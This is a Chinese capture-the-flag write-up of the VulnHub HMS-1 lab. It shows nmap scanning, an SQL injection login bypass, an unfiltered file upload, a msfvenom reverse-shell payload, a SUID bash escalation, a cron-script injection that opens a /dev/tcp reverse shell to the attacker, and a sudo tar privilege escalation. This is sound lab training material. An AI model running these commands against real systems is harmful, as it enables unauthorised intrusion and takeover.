NO.5 nivek 靶场

admin 2024年11月14日22:21:46评论9 views字数 1319阅读4分23秒阅读模式

01.靶场介绍

靶场难度:简单

靶场地址:https://vulnhub.com/entry/hms-1,728/

02.信息收集

主机发现

netdiscover -i eth1 -r 192.168.43.0/24

NO.5 nivek 靶场

端口扫描

nmap -sV -A -Pn -p1-65535 192.168.43.11

NO.5 nivek 靶场

指纹识别

NO.5 nivek 靶场

目录扫描

NO.5 nivek 靶场

提示信息

NO.5 nivek 靶场

NO.5 nivek 靶场

Goggle 搜索一下,找到了源代码

源码下载地址:https://nikhilbhalerao.com/blog/open-source-clinic-management-system#google_vignette

代码审计环境搭建:

NO.5 nivek 靶场

创建一个数据库,然后导入sql文件,配置好账号密码即可。

NO.5 nivek 靶场

NO.5 nivek 靶场

通过审计可以发现登录页面存在sql注入,且可以万能密码登录

SELECT * FROM admin WHERE loginid='" .$email . "' and password = '". $pass."'

NO.5 nivek 靶场

首先去掉前端限制,把mail 类型删除或者更改为text,然后输入admin' or 1=1 # ,密码任意。登录成功。

NO.5 nivek 靶场

NO.5 nivek 靶场

这里没有找到上传点,直接上Seay 代码扫描找漏洞审计,发现存在几处上传,且没做过滤。

NO.5 nivek 靶场

NO.5 nivek 靶场

NO.5 nivek 靶场

上传后可以成功访问

http://ds.hospitaltest.com/uploadImage/Logo/phpinfo.php

NO.5 nivek 靶场

03.获取权限

从代码审计已经找到了上传点,接下来就是拿权限了。

http://192.168.43.11:7080/manage_website.php

NO.5 nivek 靶场

NO.5 nivek 靶场

找到了第一个flag, 发现还存在一个账号

NO.5 nivek 靶场

NO.5 nivek 靶场

04.权限提升

反弹shell 进行提取,这里没反弹成功。 查了一下发现是sh 链接到了 dash,而非 bash 。

NO.5 nivek 靶场

msf 生成elf 木马,然后执行上线

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.43.223 LPORT=4444 -f elf -o 1.elf

NO.5 nivek 靶场

使用Python生成一个功能更好的bash shell,然后查找一下SUID文件,发现可用文件

python -c "import pty;pty.spawn('/bin/bash')"
find / -perm -4000 -type f -exec ls -al {} ; 2>/dev/null
/usr/bin/bash -p

NO.5 nivek 靶场

这里成功提权到eren 权限,查看home 目录下发现存在定时任务。但是是eren权限的定时任务,可以用来反弹一个eren 的 shell

NO.5 nivek 靶场

NO.5 nivek 靶场

echo "bash -c "bash -i >& /dev/tcp/192.168.43.223/8899 0>&1" " >> /home/eren/backup.sh或者echo "bash -c "/opt/lampp/htdocs/uploadImage/Logo/1.elf" " >> /home/eren/backup.sh

NO.5 nivek 靶场

获取后,sudo 就可以看了,接着查询tar 提权。

NO.5 nivek 靶场

NO.5 nivek 靶场

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

提权后,查看flag

NO.5 nivek 靶场

NO.5 nivek 靶场

End

 

原文始发于微信公众号(贝雷帽SEC):NO.5 nivek 靶场

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月14日22:21:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   NO.5 nivek 靶场https://cn-sec.com/archives/1823231.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息